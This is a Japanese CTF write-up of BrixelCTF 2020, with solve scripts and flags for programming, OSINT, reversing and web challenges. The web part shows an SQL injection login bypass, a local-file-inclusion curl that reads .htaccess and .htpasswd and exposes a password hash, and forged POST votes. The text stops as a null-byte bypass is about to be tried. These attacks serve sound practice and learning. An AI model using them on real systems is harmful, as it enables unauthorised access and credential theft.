この大会は2020/12/26 21:00(JST)~2021/1/4 4:00(JST)に開催されました。
今回もチームで参戦。結果は590点で824チーム中59位でした。
自分で解けた問題をWriteupとして書いておきます。
Are you fast enough? (Programming 10)
表示された文字列を1秒未満で答える必要がある。
import requests import re url = 'http://timesink.be/speedy/' s = requests.Session() r = s.get(url) body = r.text print body pattern = 'rndstring\" align=\"center\">(.+)</div><br>' m = re.search(pattern, body) ans = m.group(1) print ans payload = {'inputfield': ans} r = s.post(url, data=payload) body = r.text print body
実行結果は以下の通り。
<html><body><div align="center"><h1>Are you fast enough?</h1></div><hr><div align="center">copy the random string below into the input form and submit within 1 second(s) to win!</div><br><br><div id="rndstring" align="center">hCiZMAtLFc</div><br><form name="enterstring" method="POST" action="/speedy/index.php"><div align="center"><input type="text" id="inputfield" name="inputfield"><input type="submit" id="submitbutton" value="enter"></div></form></body></html> hCiZMAtLFc <html><body><div align="center"><h1>Are you fast enough?</h1></div><hr><div align="center">You took: 0 second(s) to complete the task.</div><br><div align="center">Congratulations, you completed the task in under 1 seconds!</div><div algin="center">The flag is: <b>brixelCTF{sp33d_d3m0n}</b></div></body></html>
brixelCTF{sp33d_d3m0n}
Keep walking... (Programming 10)
下記のようになるよう計算する。
Set X = 1 Set Y = 1 Set previous answer = 1 answer = X * Y + previous answer + 3 After that => X + 1 and Y + 1
X = 525の時の値を計算する問題。
def calc(n): if n == 1: return 1 * 1 + 1 + 3 else: return n * n + calc(n - 1) + 3 ans = calc(525) print ans
48373851
A song... (Programming 10)
esolangのRockstarのようだ。https://codewithrockstar.com/onlineで実行する。実行結果は以下の通り。
brixelCTF{ 5 66 7236 34 66 14 } Program completed in 374 ms
brixelCTF{5667236346614}
An arduino project (Programming 15)
7セグメントディスプレイの形式でLEDがONになる。'0'区切りで1文字として判別する。
def get_key_from_value(d, val): for k, v in d.items(): if v == val: return k return None msg = [9, 0, 9, 0, 9, 0, 9, 0, 7, 8, 3, 4, 0, 7, 6, 5, 4, 3, 2, 0, 7, 8, 6, 5, 4, 2, 0, 2, 3, 4, 0, 7, 2, 3, 8, 4, 5, 0, 2, 3, 4, 5, 6, 7, 8, 0, 7, 6, 0, 7, 2, 3, 8, 4, 5, 0, 2, 3, 4, 5, 6, 7, 0, 2, 3, 8, 4, 5, 0, 2, 3, 8, 4, 5, 0, 2, 3, 8, 6, 5, 0] seg7 = {'0': [2, 3, 4, 5, 6 ,7], '1': [6, 7], '2': [2, 3, 5, 6, 8], '3': [2, 3, 4, 5, 8], '4': [3, 4, 7, 8], '5': [2, 4, 5, 7, 8], '6': [2, 4, 5, 6, 7, 8], '7': [2, 3, 4], '8': [2, 3, 4, 5, 6, 7, 8], '9': [2, 3, 4, 5, 7, 8], '.': [9] } letters = [] letter = [] for i in range(len(msg)): if msg[i] != 0: letter.append(msg[i]) else: letters.append(letter) letter = [] msg = '' for seg in letters: seg = sorted(seg) letter = get_key_from_value(seg7, seg) msg += letter print msg
実行結果は以下の通り。
....406798190332
406798190332
Quizbot (Programming 30)
クイズ1000問に答える必要がある。
1問目:Carl and the Passions changed band name to what ? -> beach boys 2問目:How many rings on the Olympic flag ? -> five
答えが表示され、次へ進めるので、まず答えを収集し、再挑戦し収集した答えを答えていく。
import requests import re url = 'http://timesink.be/quizbot/index.php' pattern1 = '<h4>(.+)</h4>' pattern2 = 'answer\" align=\"center\">(.+)</div>\n' s = requests.Session() r = s.get(url) body = r.text print 'Question number 1' m = re.search(pattern1, body) que = m.group(1) print que answers = [] for i in range(1000): payload = {'insert_answer': '', 'submit': 'answer'} r = s.post(url, data=payload) body = r.text m = re.search(pattern2, body) ans = m.group(1) print ans answers.append(ans) if i != 999: m = re.search(pattern1, body) que = m.group(1) print 'Question number %d' % (i + 2) print que s.close() s = requests.Session() r = s.get(url) body = r.text print 'Question number 1' m = re.search(pattern1, body) que = m.group(1) print que for i in range(1000): payload = {'insert_answer': answers[i], 'submit': 'answer'} r = s.post(url, data=payload) body = r.text print answers[i] if i != 999: m = re.search(pattern1, body) que = m.group(1) print 'Question number %d' % (i + 2) print que else: print body
実行結果は以下の通り。
: Question number 995 In what country is the Eucumbene Dam ? australia new s wales Question number 996 Males outnumber females by 5 to 1 in what addiction ? alcoholism Question number 997 For what would an Edgar be awarded or won ? mystery writing Question number 998 What are salopettes ? snow proof dungaree trousers Question number 999 Which society cared - plague victims when physicians left 1665 ? apothecaries Question number 1000 Domenikos Theotocopoulos born Crete - died Spain - who ? el greco <div align="center">Correct!</div> Congratulations, you have defeated the mighty QuizB0t, your flag is: brixelCTF{kn0wl3dg3}
brixelCTF{kn0wl3dg3}
A quick search (OSINT 5)
写真の塔の名前を答える。画像検索すればよい。
Eben-Ezer
Manhunt #1 (OSINT 5)
写真を撮った人の名前を答える。EXIFを見てみる。
$ exiftool icecream.jpg ExifTool Version Number : 10.80 File Name : icecream.jpg Directory : . File Size : 322 kB File Modification Date/Time : 2020:12:27 11:05:18+09:00 File Access Date/Time : 2020:12:27 11:06:19+09:00 File Inode Change Date/Time : 2020:12:27 11:05:18+09:00 File Permissions : rwxrwxrwx File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) Resolution Unit : inches Y Cb Cr Positioning : Centered Exif Version : 0231 Components Configuration : Y, Cb, Cr, - Flashpix Version : 0100 Owner Name : Johnny Dorfmeister Image Width : 1536 Image Height : 2048 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 1536x2048 Megapixels : 3.1
Johnny_Dorfmeister
Manhunt #2 (OSINT 5)
Johnny Dorfmeisterの最後の雇用者を答える。以下のページが見つかった。
https://www.linkedin.com/in/johnny-dorfmeister-1135a6179/?originalSubdomain=be
以前の勤務先が載っている。
pishapasha
Manhunt #3 (OSINT 5)
Johnny Dorfmeisterの好きな食べ物を答える。Johnny Dorfmeisterのインスタグラムを見つけた。
https://www.instagram.com/johnnydorfmeister/
コメントが入っている写真のコメントを見てみる。
macaroni
Manhunt #5 (OSINT 5)
Twitterアカウントに削除されたページについて話しているが、そこにフラグに関係するものがあるようなことが記載されている。
https://twitter.com/johnnydorfmeis1にテストページのURLが載っている。
http://www.howitshould.be/test-page
そこには何も情報はない。Internet Archiveで調べる。2019/1/15のものがアーカイブされていて、フラグが載っていた。
w@yb@ck!
Manhunt #6 (OSINT 5)
Johnny DorfmeisterはWebデザイナーで、そのお客さんが言っていることがフラグに関係するようだ。それを英語で答える必要がある。
http://www.howitshould.be/でお客さんのコメントが載っている。ロシア語でこう書いてある。
Есть свободный флаг: поэзия
英語に翻訳する。
There is a free flag: poetry
poetry
Manhunt #7 (OSINT 10)
Johnny Dorfmeisterの住所を答える。http://www.howitshould.be/contact/のページで適当に入力し、送信すると、以下の情報が表示された。
Thanks for contacting me, an e-mail is on the way with more details. It might happen that the mail server is broken again, if so, please send a letter with the job description to: Johnny Dorfmeister Melkvoetstraat 48 3500 Hasselt Seriously, don't send anything to these people, I don't know them, it's only for the CTF!
brixelCTF{Melkvoetstraat_48_3500_Hasselt}
Manhunt #8 (OSINT 5)
Johnny Dorfmeisterの住まいの壁に2013年に書かれていたものを答える。Google Mapで「Melkvoetstraat 48 3500 Hasselt」を調べると、場所はすぐにわかる。ストリートビューで2013年7月のものにすると、壁に落書きがある。
JUST_MARRIED
Manhunt #9 (OSINT 15)
認証に関連する場所にフラグがあるようだ。http://www.howitshould.be/のページの下の方にAuthのリンクがある。
http://authentication.howitshould.be/auth.php
ここにアクセスし、HTMLソースを見ると、コメントにこう書いてある。
<!-- Authentication script by Johnny Dorfmeister. https://github.com/JohnnyDorfmeister/authentication-requests !-->
https://github.com/JohnnyDorfmeister/authentication-requestsにアクセスする。
ソースコードを見ても、usernameが"johnny"であることがわかっても、パスワードはわからない。更新履歴を見ると、パスワードが"letmein"であることがわかる。
$ curl http://authentication.howitshould.be/auth.php -d 'username=johnny&password=letmein' <html> <body> <title>Auth</title> <!-- Authentication script by Johnny Dorfmeister. https://github.com/JohnnyDorfmeister/authentication-requests !--> congratulations, the flag is g1ttern00b
g1ttern00b
Physical pentest setup (OSINT 10)
ベルギーのHalen市の地方警察署が使っているテレコムプロバイダーを答える。Halenのことを調べると、以下のページが見つかる。
https://wikitravel.org/en/Halen
ここからGoogle mapを使いながら調べると、Halen市の地方警察署の住所がわかる。
Sportlaan 2b, 3545 Halen, België
さらに以下のFaceboolのページが見つかる。
https://www.facebook.com/Wijkpolitie-Halen-111956283819044/
電話番号が載っている。
+32 011 938 980
以下のサイトの「Database with reserved and allocated numbers」から、割り当てられている電話番号からプロバイダがわかる一覧表をダウンロードできる。
https://www.bipt.be/operators/obtaining-and-managing-numbers
「PQYZ」シートのB列が11938のデータを見ると、「COLT Technology Services N.V.」と書いてある。一応一般的な名称を調べる。
Colt Technology Services NV
Colt_Technology_Services_NV
Visit Limburg #1 (OSINT 10)
自転車ネットワークのある地点からある地点までのノードの合計を答える。https://fietsnet.be/でルートを調べる。
Start 557 End 341
経路にある数字の和を計算する。
557 + 11 + 558 + 65 + 533 + 532 + 64 + 251 + 534 + 29 + 30 + 250 + 509 + 73 + 548 + 74 + 79 + 305 + 300 + 316 + 311 + 307 + 518 + 310 + 341 = 7405
7405
Visit Limburg #2 (OSINT 20)
3つの場所の三角形の真ん中にある橋の下に、2013年に書き込まれた日付(形式:#.##.##、#は数字)を答える。
最初の2つの場所は、州内の炭鉱の2つの坑道であり、互いに最も遠い場所にあり、3番目の場所は、添付のかすんでいる写真が撮影された場所とのこと。
「limburg belgium mineshaft map」でマップ検索する。一番遠い炭鉱の坑道はパールとマーメヘレンであることがわかる。
次に添付の画像について調べる。かすんで見えるが、かろうじて協会に見える。「limburg belgium church」で画像検索してみる。以下のURLにある風景と似ている。
https://www.discoveringbelgium.com/the-see-through-church-of-borgloon/
Google mapでは、「Doorkijkkerk - Reading between the lines」の名称でポイントされている。
この三角形で中心のあたりに橋がある。2013年6月にしてストリートビューを見る。
7.05.09
punchcard (Old tech10)
https://pastebin.com/aL9Hd4ntを参考に解読する。
from PIL import Image import sys import os IBM_MODEL_029_KEYPUNCH = [ " /&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'=x`.<(+|!$*);^~,%_>? |", "12 / O OOOOOOOOO OOOOOO |", "11| O OOOOOOOOO OOOOOO |", " 0| O OOOOOOOOO OOOOOO |", " 1| O O O O |", " 2| O O O O O O O O |", " 3| O O O O O O O O |", " 4| O O O O O O O O |", " 5| O O O O O O O O |", " 6| O O O O O O O O |", " 7| O O O O O O O O |", " 8| O O O O OOOOOOOOOOOOOOOOOOOOOOOO |", " 9| O O O O |", " |__________________________________________________________________|", ] def getRow(q): out = '' for i in range(len(IBM_MODEL_029_KEYPUNCH)): out += IBM_MODEL_029_KEYPUNCH[i][q] return out def check(n, need): for i in range(len(need)): if(need[i] != getRow(n)[i+1]): return False return True def find(need): for i in range(5, 69): if(check(i, need)): return i return -1 im = Image.open('punchcard.png') pix = im.load() def isWhite(a): for q in a: if q != 0: return False return True for x in range(2, 82): column = '' for y in range(12): #print x*9 + 9, y*27 + 25 if(isWhite(pix[x*9 + 9, y*27 + 25])): column += ("O") else: column += (" ") sys.stdout.write(IBM_MODEL_029_KEYPUNCH[0][find(column)]) print ''
実行結果は以下の通り。
THE FLAG IS BRIXELCTF(M41NFR4M3) -- THANK YOU FOR PLAYING BRIXELCTF -- 1A
BRIXELCTF(M41NFR4M3)
Goodbye old friend (Old tech 15)
swfファイルが添付されている。JPEXS Free Flash Decompilerでデコンパイルする。scripts - DoInitActionを見る。
ConstantPool "Goodbye flash old friend, you gave me loads of entertainment. The flag is brixelCTF{n0_m0r3_5upp0rt}" Push "Goodbye flash old friend, you gave me loads of entertainment. The flag is brixelCTF{n0_m0r3_5upp0rt}" Trace
brixelCTF{n0_m0r3_5upp0rt}
The tape (Old tech 20)
いろいろ調べた結果、commodore 64 Tapeのようだ。wavprgを使い、prgに変換する。C64 Foreverでprgをrp9に変換し、エミュレートすると、フラグが表示された。
BASIC
Cookieee! (Reverse engineering, cracking 15)
うさみみハリケーンでメモリ上の回数を確認する。クリック数を20回まで挙げると、アドレスが限定されるため、それを10000000に置換する。これでフラグが表示された。
brixelCTF{m3m0ry}
no peeking! (Reverse engineering, cracking 15)
$ file noPEEKing.exe noPEEKing.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dnSpyで開き、デコンパイルする。
namespace noPEEKing { // Token: 0x02000008 RID: 8 [DesignerGenerated] public class Form1 : Form { : : public object showFlag() { Interaction.MsgBox("Hey, stop looking at my innards!", MsgBoxStyle.OkOnly, null); Interaction.MsgBox("The flag is brixelCTF{d0tP33K}", MsgBoxStyle.OkOnly, null); Interaction.MsgBox("Happy holidays!", MsgBoxStyle.OkOnly, null); return true; } : :
brixelCTF{d0tP33K}
registerme.exe (Reverse engineering, cracking 15)
Ghidraでデコンパイルする。
void __cdecl FUN_00402b50(uint param_1) { code *pcVar1; undefined4 uVar2; int iVar3; int *piVar4; int *piVar5; undefined4 *in_FS_OFFSET; undefined4 local_40; wchar_t *local_38; undefined4 local_30 [4]; undefined4 local_20; undefined4 local_1c; undefined4 uStack24; undefined *puStack20; undefined *local_10; undefined *local_c; uint local_8; puStack20 = &LAB_004010e6; uStack24 = *in_FS_OFFSET; *in_FS_OFFSET = &uStack24; local_10 = &stack0xffffffa4; local_c = &DAT_004010d0; local_8 = param_1 & 1; piVar5 = (int *)(param_1 & 0xfffffffe); piVar4 = piVar5; (**(code **)(*piVar5 + 4))(piVar5); local_1c = 0; local_20 = 0; local_30[0] = 0; local_38 = L"activation.key";★ local_40 = 8; __vbaVarDup(); rtcDir(local_30,0); uVar2 = __vbaStrMove(); iVar3 = __vbaStrCmp(&DAT_00401bfc,uVar2); __vbaFreeStr(); __vbaFreeVar(piVar4); if (iVar3 == 0) { uVar2 = (**(code **)(*piVar5 + 0x304))(piVar5); piVar4 = (int *)__vbaObjSet(&local_20,uVar2); iVar3 = (**(code **)(*piVar4 + 0x6c))(piVar4,0xff); if (iVar3 < 0) { __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x6c); } __vbaFreeObj(); uVar2 = (**(code **)(*piVar5 + 0x304))(piVar5); piVar4 = (int *)__vbaObjSet(&local_20,uVar2); iVar3 = (**(code **)(*piVar4 + 0x54))(piVar4,L"NOT REGISTERED!"); if (iVar3 < 0) { __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x54); } pcVar1 = __vbaFreeObj_exref; __vbaFreeObj(); uVar2 = (**(code **)(*piVar5 + 0x300))(piVar5); piVar4 = (int *)__vbaObjSet(&local_20,uVar2); iVar3 = (**(code **)(*piVar4 + 0x94))(piVar4,0); } else { uVar2 = (**(code **)(*piVar5 + 0x304))(); piVar4 = (int *)__vbaObjSet(&local_20,uVar2); iVar3 = (**(code **)(*piVar4 + 0x6c))(piVar4,0xff00); if (iVar3 < 0) { __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x6c); } __vbaFreeObj(); uVar2 = (**(code **)(*piVar5 + 0x304))(piVar5); piVar4 = (int *)__vbaObjSet(&local_20,uVar2); iVar3 = (**(code **)(*piVar4 + 0x54))(piVar4,L"REGISTERED!"); if (iVar3 < 0) { __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x54); } pcVar1 = __vbaFreeObj_exref; __vbaFreeObj(); uVar2 = (**(code **)(*piVar5 + 0x300))(piVar5); piVar4 = (int *)__vbaObjSet(&local_20,uVar2); iVar3 = (**(code **)(*piVar4 + 0x94))(piVar4,0xffffffff); } if (iVar3 < 0) { __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c2c,0x94); } (*pcVar1)(); return; }
VBで書かれているようなコード。activation.keyがあれば、registerできるかもしれないので、試す。
Statusが「REGISTERED!」と表示された。Show Flagボタンを押すと、フラグが表示された。
brixelCTF{f1l34cc3ss}
android app (Reverse engineering, cracking 20)
Bytecode Viewerでデコンパイルする。
public class Screen1 extends Form implements Runnable { : : public Object Button1$Click() { runtime.setThisForm(); Object var1; if (runtime.callYailPrimitive(runtime.yail$Mnequal$Qu, LList.list2(runtime.getProperty$1(Lit23, Lit18), "brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}"), Lit30, "=") != Boolean.FALSE) { var1 = runtime.callYailPrimitive(runtime.open$Mnanother$Mnscreen, LList.list1("Screen2"), Lit31, "open another screen"); } else { var1 = runtime.callYailPrimitive(runtime.open$Mnanother$Mnscreen, LList.list1("Screen3"), Lit32, "open another screen"); } return var1; } : :
brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}
Easy (Internet 5)
https://ctf.brixel.space/のHTMLソースを見ると、コメントにフラグが書いてあった。
<!-- hidden flag: 'brixelCTF{notsosecret}' -->
brixelCTF{notsosecret}
Hidden Code (Internet 5)
konami codeを入力したら、何かが起こるらしい。フラグは浮かび上がるキャラクターの名前。konami codeの上上下下左右左右baを入力したら、マリオが現れた。
Mario
robotopia (Internet 5)
http://timesink.be/robotopia/robots.txtにアクセスすると、フラグが書いてあった。
User-agent: * Disallow: / #you found a flag! it is: brixelCTF{sadr0b0tz}
brixelCTF{sadr0b0tz}
Discord (Internet 5)
Discordに入ると、#rulesチャネルのメッセージに記載のフラグの例が書いてあった。
brixelCTF{th4nk5_f0r_r34d1ng_th3_rulz}
login1 (Internet 5)
HTMLソースのスクリプトにこう書いてある。
function verify() { password = document.getElementById("the_password").value; if(password == "brixelCTF{w0rst_j4v4scr1pt_3v3r!}") { alert("Password Verified"); } else { alert("Incorrect password"); } }
パスワードとして、フラグと比較していることがわかる。
brixelCTF{w0rst_j4v4scr1pt_3v3r!}
login2 (Internet 5)
HTMLソースのスクリプトにこう書いてある。
function verify() { password = document.getElementById("the_password").value; split = 6; if (password.substring(0, split) == 'brixel') { if (password.substring(split*6, split*7) == '180790') { if (password.substring(split, split*2) == 'CTF{st') { if (password.substring(split*4, split*5) == '5cr1pt') { if (password.substring(split*3, split*4) == 'd_j4v4') { if (password.substring(split*5, split*6) == '_h3r3.') { if (password.substring(split*2, split*3) == '1ll_b4') { if (password.substring(split*7, split*8) == '54270}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }
パスワードとして、フラグと比較していることがわかる。
brixelCTF{st1ll_b4d_j4v45cr1pt_h3r3.18079054270}
login3 (Internet 5)
HTMLソースのスクリプトにこう書いてある。
function verify() { username = document.getElementById("the_username").value; password = document.getElementById("the_password").value; if(username == readTextFile("username.txt")) { if(password == readTextFile("password.txt")) { alert("Password Verified"); } else { alert("Incorrect password"); } }else{ alert("Incorrect username"); } } function readTextFile(filePath) { var result = null; var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", filePath, false); xmlhttp.send(); if (xmlhttp.status==200) { result = xmlhttp.responseText; } return result; }
http://timesink.be/login3/password.txtにアクセスする。
brixelCTF{n0t_3v3n_cl05e_t0_s3cur3!}
login4 (Internet 5)
HTMLソースのスクリプトにこう書いてある。
function verify() { username = document.getElementById("the_username").value; password = document.getElementById("the_password").value; if(username == atob(readTextFile("username.txt"))) { if(password == atob(readTextFile("password.txt"))) { alert("Password Verified"); } else { alert("Incorrect password"); } }else{ alert("Incorrect username"); } } function readTextFile(filePath) { var result = null; var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", filePath, false); xmlhttp.send(); if (xmlhttp.status==200) { result = xmlhttp.responseText; } return result; }
http://timesink.be/login4/password.txtにアクセスする。
YnJpeGVsQ1RGe2V2ZW5fYmFzZTY0X3dvbnRfbWFrZV95b3Vfc2VjdXJlfQ==
base64デコードする。
$ echo YnJpeGVsQ1RGe2V2ZW5fYmFzZTY0X3dvbnRfbWFrZV95b3Vfc2VjdXJlfQ== | base64 -d brixelCTF{even_base64_wont_make_you_secure}
brixelCTF{even_base64_wont_make_you_secure}
Browsercheck (Internet 10)
Ask Jeeves crawlerで調べると、対応するUserAgentが複数ある。その中の一つを使ってアクセスする。
$ curl -A "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)" http://timesink.be/browsercheck/ <html><body><div align="center"><h1>congratulations</h1>the flag is 'brixelCTF{askwho?}'</div></body></html>
brixelCTF{askwho?}
Readme (Internet 10)
Guideのページを見ると、こう書いてある。
Enter 'freepoints' without the quotes in the readme challenge to claim them.
freepoints
SnackShack awards (Internet 10)
Cafetaria 't pleintjeに5ポイント投票すると、POSTパラメータは以下のようになってアクセスすることになる。
score_bammens: 0 score_omejan: 0 score_fontainas: 0 score_tpleintje: 5 score_frietuurtje: 0
WebUIでは5ポイントまでしか投票できないので、curlで5000ポイントを投票する。
$ curl -d 'score_bammens=0&score_omejan=0&score_fontainas=0&score_tpleintje=5000&score_frietuurtje=0' http://timesink.be/snackshackaward/stemmen.php <html> <title>SnackShack of the year contest</title> <body> Well done! The flag is brixelCTF{bakpau}</body></html>
brixelCTF{bakpau}
Flat earth (Internet 10)
管理パネル http://timesink.be/flatearth/admin.php にアクセスすると、ログイン画面になる。SQLインジェクションをしてみる。以下の通り入力し、ログインしてみる。
Username: ' or 1=1 # Password: なし
するとフラグが表示された。
That should do the trick, the flag is brixelCTF{aroundtheglobe}
brixelCTF{aroundtheglobe}
Hiding in the background (Internet 10)
https://ctf.brixel.space/のページの背景となっているctfbg.svgをダウンロードする。
<text xml:space="preserve" style="font-style:normal;font-weight:normal;font-size:10.5833px;line-height:1.25;font-family:sans-serif;fill:#000000;fill-opacity:1;stroke:none;stroke-width:0.264583" x="62.649639" y="138.42255" id="text1434"><tspan sodipodi:role="line" id="tspan1432" x="62.649639" y="138.42255" style="fill:#000000;fill-opacity:1;stroke-width:0.264583">brixelCTF{happy_holidays}</tspan></text>
この中にフラグが含まれていた。
brixelCTF{happy_holidays}
login5 (Internet 10)
HTMLソースのスクリプトにこう書いてある。
var _0x2c58=['getElementById','Incorrect\x20password','Password\x20Verified','length','substr','the_password','abcdefghijklmnopqrstuvwxyz1234567890!{}'];(function(_0x47871f,_0x1326ab){var _0x2c58be=function(_0x58abc9){while(--_0x58abc9){_0x47871f['push'](_0x47871f['shift']());}};_0x2c58be(++_0x1326ab);}(_0x2c58,0x91));var _0x58ab=function(_0x47871f,_0x1326ab){_0x47871f=_0x47871f-0x192;var _0x2c58be=_0x2c58[_0x47871f];return _0x2c58be;};function verify(){var _0x41653e=_0x58ab;password=document[_0x41653e(0x194)](_0x41653e(0x192))['value'],alphabet=_0x41653e(0x193),newpassword=alphabet[_0x41653e(0x198)](0x1,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x11,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x8,0x1),newpassword=newpassword+alphabet['substr'](0x17,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x4,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0xb,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x2,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x13,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x5,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)]-0x2,0x1),newpassword=newpassword+alphabet['substr'](alphabet[_0x41653e(0x197)]-0x4,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x1,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x5,0x1),newpassword=newpassword+alphabet['substr'](0x14,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x12,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x2,0x1),newpassword=newpassword+alphabet['substr'](0x0,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x13,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x8,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)]-0x4,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0xd,0x1),newpassword=newpassword+alphabet['substr'](alphabet[_0x41653e(0x197)]-0x1,0x1),password==newpassword?alert(_0x41653e(0x196)):alert(_0x41653e(0x195));}
整形する。
['getElementById', 'Incorrect\x20password', 'Password\x20Verified', 'length', 'substr', 'the_password', 'abcdefghijklmnopqrstuvwxyz1234567890!{}']; (function(_0x47871f, _0x1326ab) { var _0x2c58be = function(_0x58abc9) { while (--_0x58abc9) { _0x47871f['push'](_0x47871f['shift']()); } }; _0x2c58be(++_0x1326ab); }(_0x2c58, 0x91)); var _0x58ab = function(_0x47871f, _0x1326ab) { _0x47871f = _0x47871f - 0x192; var _0x2c58be = _0x2c58[_0x47871f]; return _0x2c58be; }; function verify() { var _0x41653e = _0x58ab; password = document[_0x41653e(0x194)](_0x41653e(0x192))['value'], alphabet = _0x41653e(0x193), newpassword = alphabet[_0x41653e(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x11, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x8, 0x1), newpassword = newpassword + alphabet['substr'](0x17, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x4, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0xb, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x2, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x5, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)] - 0x2, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x41653e(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x5, 0x1), newpassword = newpassword + alphabet['substr'](0x14, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x12, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x2, 0x1), newpassword = newpassword + alphabet['substr'](0x0, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x8, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0xd, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x41653e(0x197)] - 0x1, 0x1), password == newpassword ? alert(_0x41653e(0x196)) : alert(_0x41653e(0x195)); }
デベロッパーツールのConsoleで値を見て、確認する。
> alphabet = _0x58ab(0x193) < "abcdefghijklmnopqrstuvwxyz1234567890!{}" > newpassword = alphabet[_0x58ab(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x11, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x8, 0x1), newpassword = newpassword + alphabet['substr'](0x17, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x4, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0xb, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x2, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x5, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](alphabet[_0x58ab(0x197)] - 0x2, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x58ab(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x5, 0x1), newpassword = newpassword + alphabet['substr'](0x14, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x12, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x2, 0x1), newpassword = newpassword + alphabet['substr'](0x0, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0x8, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](alphabet[_0x58ab(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x58ab(0x198)](0xd, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x58ab(0x197)] - 0x1, 0x1) < "brixelctf{0bfuscati0n}"
brixelctf{0bfuscati0n}
Pathfinders #1 (Internet 15)
「go here」をクリックして、http://timesink.be/pathfinder/admin/index.phpにアクセスすると、basic認証になる。「the locations page」をクリックすると、以下のURLに遷移する。
http://timesink.be/pathfinder/index.php?page=locations.php
また、「here」をクリックすると、以下のURLに遷移する。
http://timesink.be/pathfinder/index.php?page=members.php
http://timesink.be/pathfinder/members.phpでも同様にページが表示されるので、pageパラメータで同じ階層のファイルを読み込んでいると推測できる。adminの.htaccessのファイルを見てみる。
$ curl http://timesink.be/pathfinder/index.php?page=admin/.htaccess AuthGroupFile /dev/null AuthType Basic AuthUserFile /home/cfromage/domains/epsilom/public_html/pathfinder/admin/.htpasswd AuthName "Admin only!" require valid-user ErrorDocument 401 "Unauthorized Access"
今度は.htpasswdのファイルを見てみる。
$ curl http://timesink.be/pathfinder/index.php?page=admin/.htpasswd #normally you would brute force this, but that is not in scope of this challenge. The flag is: brixelCTF{unsafe_include} <br> admin:$apr1$941ydmlw$aPUW.gCFcvUbIcP0ptVQF0
brixelCTF{unsafe_include}
Pathfinders #2 (Internet 20)
#1と同じように.htpasswdを見てみる。
$ curl http://timesink.be/pathfinder2/index.php?page=admin/.htpasswd file not ending in .php, terminating.
ファイル名が.phpで終わる必要があるようだ。%00の終端を間に入れて試してみる。
